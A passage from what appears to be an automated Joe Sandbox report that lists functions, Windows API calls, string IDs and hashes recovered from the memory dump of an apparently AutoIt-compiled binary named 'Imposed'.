                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(Function_00020E01,009B080E), ref: 009B0DFA
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ExceptionFilterUnhandled
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3192549508-0
                                                                                                                                                                • Opcode ID: 1a230f13951fbdee85ab7f40b637fe105a90efc89e8511dcbadca2235af1440d
                                                                                                                                                                • Instruction ID: d60efde3911d62f467bdf55ddfd9670042a949992a1d0c3764f3b54466847dbd
                                                                                                                                                                • Opcode Fuzzy Hash: 1a230f13951fbdee85ab7f40b637fe105a90efc89e8511dcbadca2235af1440d
                                                                                                                                                                • Instruction Fuzzy Hash:
                                                                                                                                                                Function 00A132B1 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 00A13303
                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 00A13316
                                                                                                                                                                • DestroyWindow.USER32 ref: 00A13325
                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00A13340
                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 00A13347
                                                                                                                                                                • SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00A13476
                                                                                                                                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00A13484
                                                                                                                                                                • CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A134CB
                                                                                                                                                                • GetClientRect.USER32(00000000,?), ref: 00A134D7
                                                                                                                                                                • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00A13513
                                                                                                                                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A13535
                                                                                                                                                                • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A13548
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A13553
                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00A1355C
                                                                                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A1356B
                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 00A13574
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A1357B
                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00A13586
                                                                                                                                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A13598
                                                                                                                                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00A30BFC,00000000), ref: 00A135AE
                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00A135BE
                                                                                                                                                                • CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00A135E4
                                                                                                                                                                • SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00A13603
                                                                                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A13625
                                                                                                                                                                • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A13812
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                                                                                                                • String ID: $AutoIt v3$DISPLAY$static
                                                                                                                                                                • API String ID: 2211948467-2373415609
                                                                                                                                                                • Opcode ID: aec1a17d6c22a48f3d063f56a740989e4b7711b02780a883a487879c85ccdc67
                                                                                                                                                                • Instruction ID: fa5ea181a200b52a5f230b7d8625a2ce21fffec651af9a6fc2b4f13974eb9024
                                                                                                                                                                • Opcode Fuzzy Hash: aec1a17d6c22a48f3d063f56a740989e4b7711b02780a883a487879c85ccdc67
                                                                                                                                                                • Instruction Fuzzy Hash: C3026E72500214EFDF14DFA8CD89EAE7BB9FB48710F148158F915AB2A1CB74AD42CB60
                                                                                                                                                                Function 00A276BC Relevance: 49.8, APIs: 33, Instructions: 273COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetTextColor.GDI32(?,00000000), ref: 00A27716
                                                                                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 00A27747
                                                                                                                                                                • GetSysColor.USER32(0000000F), ref: 00A27753
                                                                                                                                                                • SetBkColor.GDI32(?,000000FF), ref: 00A2776D
                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00A2777C
                                                                                                                                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00A277A7
                                                                                                                                                                • GetSysColor.USER32(00000010), ref: 00A277AF
                                                                                                                                                                • CreateSolidBrush.GDI32(00000000), ref: 00A277B6
                                                                                                                                                                • FrameRect.USER32(?,?,00000000), ref: 00A277C5
                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 00A277CC
                                                                                                                                                                • InflateRect.USER32(?,000000FE,000000FE), ref: 00A27817
                                                                                                                                                                • FillRect.USER32(?,?,?), ref: 00A27849
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A2786B
                                                                                                                                                                  • Part of subcall function 00A279CF: GetSysColor.USER32(00000012), ref: 00A27A08
                                                                                                                                                                  • Part of subcall function 00A279CF: SetTextColor.GDI32(?,00A276DC), ref: 00A27A0C
                                                                                                                                                                  • Part of subcall function 00A279CF: GetSysColorBrush.USER32(0000000F), ref: 00A27A22
                                                                                                                                                                  • Part of subcall function 00A279CF: GetSysColor.USER32(0000000F), ref: 00A27A2D
                                                                                                                                                                  • Part of subcall function 00A279CF: GetSysColor.USER32(00000011), ref: 00A27A4A
                                                                                                                                                                  • Part of subcall function 00A279CF: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A27A58
                                                                                                                                                                  • Part of subcall function 00A279CF: SelectObject.GDI32(?,00000000), ref: 00A27A69
                                                                                                                                                                  • Part of subcall function 00A279CF: SetBkColor.GDI32(?,?), ref: 00A27A72
                                                                                                                                                                  • Part of subcall function 00A279CF: SelectObject.GDI32(?,?), ref: 00A27A7F
                                                                                                                                                                  • Part of subcall function 00A279CF: InflateRect.USER32(?,000000FF,000000FF), ref: 00A27A9E
                                                                                                                                                                  • Part of subcall function 00A279CF: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A27AB5
                                                                                                                                                                  • Part of subcall function 00A279CF: GetWindowLongW.USER32(?,000000F0), ref: 00A27AC2
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4124339563-0
                                                                                                                                                                • Opcode ID: 1994595b2ac2c5f8e4d99b544a0652c5bc608bdfb97d6ef2dcbece4307d5fa33
                                                                                                                                                                • Instruction ID: 1175c6f7e85aa05ea32ff39761d38d063230d72fdaf62339aea238bd990cc46a
                                                                                                                                                                • Opcode Fuzzy Hash: 1994595b2ac2c5f8e4d99b544a0652c5bc608bdfb97d6ef2dcbece4307d5fa33
                                                                                                                                                                • Instruction Fuzzy Hash: 3DA17071008311AFDB21DFA8DC48E6F7BA9FF49320F100A29FA62961E1D775D946CB91
                                                                                                                                                                Function 00996799 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DestroyWindow.USER32(?,?), ref: 00996828
                                                                                                                                                                • SendMessageW.USER32(?,00001308,?,00000000), ref: 009D5013
                                                                                                                                                                • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 009D504C
                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 009D5491
                                                                                                                                                                  • Part of subcall function 0099670F: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009916CD,?,00000000,?,?,?,?,0099169F,00000000,?), ref: 00996772
                                                                                                                                                                • SendMessageW.USER32(?,00001053), ref: 009D54CD
                                                                                                                                                                • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 009D54E4
                                                                                                                                                                • ImageList_Destroy.COMCTL32(00000000,?), ref: 009D54FA
                                                                                                                                                                • ImageList_Destroy.COMCTL32(00000000,?), ref: 009D5505
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
                                                                                                                                                                • String ID: 0
                                                                                                                                                                • API String ID: 2760611726-4108050209
                                                                                                                                                                • Opcode ID: 974a81db2c9ec7e025a39ab1d7af248a01440d9117f041ce596f9452a516c996
                                                                                                                                                                • Instruction ID: 102414797a56617043921ab1ec162d52a8a9d65013654fa2fc96c340e4dceb9f
                                                                                                                                                                • Opcode Fuzzy Hash: 974a81db2c9ec7e025a39ab1d7af248a01440d9117f041ce596f9452a516c996
                                                                                                                                                                • Instruction Fuzzy Hash: 7212BC30644A01EFCB25CF18C984BB9BBF9FB84310F19846AF5559B262C771E896CF91
                                                                                                                                                                Function 00A12F4D Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 288windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DestroyWindow.USER32(00000000), ref: 00A12F80
                                                                                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00A1304B
                                                                                                                                                                • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00A13089
                                                                                                                                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00A13099
                                                                                                                                                                • CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00A130DF
                                                                                                                                                                • GetClientRect.USER32(00000000,?), ref: 00A130EB
                                                                                                                                                                • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00A13132
                                                                                                                                                                • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00A13141
                                                                                                                                                                • GetStockObject.GDI32(00000011), ref: 00A13151
                                                                                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 00A13155
                                                                                                                                                                • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00A13165
                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A1316E
                                                                                                                                                                • DeleteDC.GDI32(00000000), ref: 00A13177
                                                                                                                                                                • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00A131A3
                                                                                                                                                                • SendMessageW.USER32(00000030,00000000,00000001), ref: 00A131BA
                                                                                                                                                                • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00A131F5
                                                                                                                                                                • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00A13209
                                                                                                                                                                • SendMessageW.USER32(00000404,00000001,00000000), ref: 00A1321A
                                                                                                                                                                • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00A1324A
                                                                                                                                                                • GetStockObject.GDI32(00000011), ref: 00A13255
                                                                                                                                                                • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00A13260
                                                                                                                                                                • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00A1326A
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                                                                                                                                • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                                                                                                                                • API String ID: 2910397461-517079104
                                                                                                                                                                • Opcode ID: 7dec24d009c9a09a8d1e12d87977d4a4f7bc482c7c29a2d074ef7b3b82e0eb09
                                                                                                                                                                • Instruction ID: c71197e393dcaf6e9ab598225f74ab73adaeac0ddcbf8877ca0742c48349ad05
                                                                                                                                                                • Opcode Fuzzy Hash: 7dec24d009c9a09a8d1e12d87977d4a4f7bc482c7c29a2d074ef7b3b82e0eb09
                                                                                                                                                                • Instruction Fuzzy Hash: 4CA15571A00214BFEB24DFA8DC4AFAE7BB9EB49710F004114FA15AB2D1D774AD42CB64
                                                                                                                                                                Function 00A053F6 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 00A05404
                                                                                                                                                                • GetDriveTypeW.KERNEL32(?,00A2DB10,?,\\.\,00A2DBF4), ref: 00A054E1
                                                                                                                                                                • SetErrorMode.KERNEL32(00000000,00A2DB10,?,\\.\,00A2DBF4), ref: 00A0564D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorMode$DriveType
                                                                                                                                                                • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                                                                                                                                • API String ID: 2907320926-4222207086
                                                                                                                                                                • Opcode ID: db3dc9168f5aea73bd0b53c94c550d5badf49fc8292b8600916e1d2ab51759cd
                                                                                                                                                                • Instruction ID: e6cce8c6b19b41fb37c38613629a6549dc2a4755a4b7f2099255d3881771506d
                                                                                                                                                                • Opcode Fuzzy Hash: db3dc9168f5aea73bd0b53c94c550d5badf49fc8292b8600916e1d2ab51759cd
                                                                                                                                                                • Instruction Fuzzy Hash: B061AE31A48909ABCB14DB78ED4197E77B2BF54302F684455E806BB2D2C632ED46CF45
                                                                                                                                                                Function 00A26B02 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 460windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00A26BAF
                                                                                                                                                                • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00A26C68
                                                                                                                                                                • SendMessageW.USER32(?,00001102,00000002,?), ref: 00A26C84
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,00000030,00000000,?), ref: 00A26CD5
                                                                                                                                                                • SetMenuItemInfoW.USER32(?,00000030,00000000,00000030), ref: 00A26D30
                                                                                                                                                                • GetMenuItemInfoW.USER32(00000200,00000030,00000000,00000030), ref: 00A26D53
                                                                                                                                                                • SetMenuDefaultItem.USER32(00000200,?,00000000), ref: 00A26D6F
                                                                                                                                                                • DrawMenuBar.USER32(?), ref: 00A26D7B
                                                                                                                                                                • SendMessageW.USER32(00000466,00000466,00000000,00000000), ref: 00A26DFD
                                                                                                                                                                • SendMessageW.USER32(000000F1,000000F1,?,00000000), ref: 00A26F4B
                                                                                                                                                                • SendMessageW.USER32(?,00000401,?,00000000), ref: 00A26F6F
                                                                                                                                                                • GetFocus.USER32 ref: 00A26F75
                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,?), ref: 00A27030
                                                                                                                                                                • SendMessageW.USER32(?,00000469,?,00000000), ref: 00A27043
                                                                                                                                                                • EnableWindow.USER32(00000000,00000000), ref: 00A2707A
                                                                                                                                                                • EnableWindow.USER32(00000001,00000001), ref: 00A27096
                                                                                                                                                                • ShowWindow.USER32(00000010,00000000), ref: 00A2710C
                                                                                                                                                                • ShowWindow.USER32(?,00000004), ref: 00A27122
                                                                                                                                                                • EnableWindow.USER32(?,00000001), ref: 00A2713B
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$MessageSend$Menu$Item$EnableInfo$Show$DefaultDrawFocusMove
                                                                                                                                                                • String ID: 0
                                                                                                                                                                • API String ID: 1429628313-4108050209
                                                                                                                                                                • Opcode ID: 2d105d255e4d964362cc513b5730918a52676fd1e661a9ee0d516206b491e7ea
                                                                                                                                                                • Instruction ID: afb8769cf84c1a092b152650a7dae2121acc4679fc3b72134d91fbdd3212d988
                                                                                                                                                                • Opcode Fuzzy Hash: 2d105d255e4d964362cc513b5730918a52676fd1e661a9ee0d516206b491e7ea
                                                                                                                                                                • Instruction Fuzzy Hash: E902F270109321AFD725CF2CE848BAABBF5FF89314F048639F994962A1C778D945CB81
                                                                                                                                                                Function 00A279CF Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetSysColor.USER32(00000012), ref: 00A27A08
                                                                                                                                                                • SetTextColor.GDI32(?,00A276DC), ref: 00A27A0C
                                                                                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 00A27A22
                                                                                                                                                                • GetSysColor.USER32(0000000F), ref: 00A27A2D
                                                                                                                                                                • CreateSolidBrush.GDI32(?), ref: 00A27A32
                                                                                                                                                                • GetSysColor.USER32(00000011), ref: 00A27A4A
                                                                                                                                                                • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A27A58
                                                                                                                                                                • SelectObject.GDI32(?,00000000), ref: 00A27A69
                                                                                                                                                                • SetBkColor.GDI32(?,?), ref: 00A27A72
                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00A27A7F
                                                                                                                                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00A27A9E
                                                                                                                                                                • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A27AB5
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A27AC2
                                                                                                                                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00A27B11
                                                                                                                                                                • GetWindowTextW.USER32(?,00000000,00000001), ref: 00A27B3B
                                                                                                                                                                • InflateRect.USER32(?,000000FD,000000FD), ref: 00A27B59
                                                                                                                                                                • DrawFocusRect.USER32(?,?), ref: 00A27B64
                                                                                                                                                                • GetSysColor.USER32(00000011), ref: 00A27B75
                                                                                                                                                                • SetTextColor.GDI32(?,00000000), ref: 00A27B7D
                                                                                                                                                                • DrawTextW.USER32(?,00A276DC,000000FF,?,00000000), ref: 00A27B8F
                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00A27BA6
                                                                                                                                                                • DeleteObject.GDI32(?), ref: 00A27BB1
                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00A27BB7
                                                                                                                                                                • DeleteObject.GDI32(?), ref: 00A27BBC
                                                                                                                                                                • SetTextColor.GDI32(?,?), ref: 00A27BC2
                                                                                                                                                                • SetBkColor.GDI32(?,?), ref: 00A27BCC
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1996641542-0
                                                                                                                                                                • Opcode ID: b233e4a9bf35d8c3b293c518f9fc00fb579b1ccf1c34f4396b762f781d318583
                                                                                                                                                                • Instruction ID: c988cc68b6f3757e01f4cea95de2527d2cd4ddfa64bc39dc61ba3294a8894970
                                                                                                                                                                • Opcode Fuzzy Hash: b233e4a9bf35d8c3b293c518f9fc00fb579b1ccf1c34f4396b762f781d318583
                                                                                                                                                                • Instruction Fuzzy Hash: 7E615271904218AFDF11DFA8DC49EEE7F79EF08320F104125F915AB2A1D7759A42DB90
                                                                                                                                                                Function 00A21709 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 275windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00A2182B
                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00A21840
                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 00A21847
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A2189C
                                                                                                                                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00A218D5
                                                                                                                                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A218F3
                                                                                                                                                                • DestroyWindow.USER32(?), ref: 00A21911
                                                                                                                                                                • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00A21933
                                                                                                                                                                • SendMessageW.USER32(?,00000421,?,?), ref: 00A21948
                                                                                                                                                                • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00A2195B
                                                                                                                                                                • IsWindowVisible.USER32(?), ref: 00A2197B
                                                                                                                                                                • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00A21996
                                                                                                                                                                • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00A219AA
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00A219C2
                                                                                                                                                                • MonitorFromPoint.USER32(?,?,00000002), ref: 00A219E8
                                                                                                                                                                • GetMonitorInfoW.USER32(00000000,?), ref: 00A21A02
                                                                                                                                                                • CopyRect.USER32(?,?), ref: 00A21A19
                                                                                                                                                                • SendMessageW.USER32(?,00000412,00000000), ref: 00A21A84
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
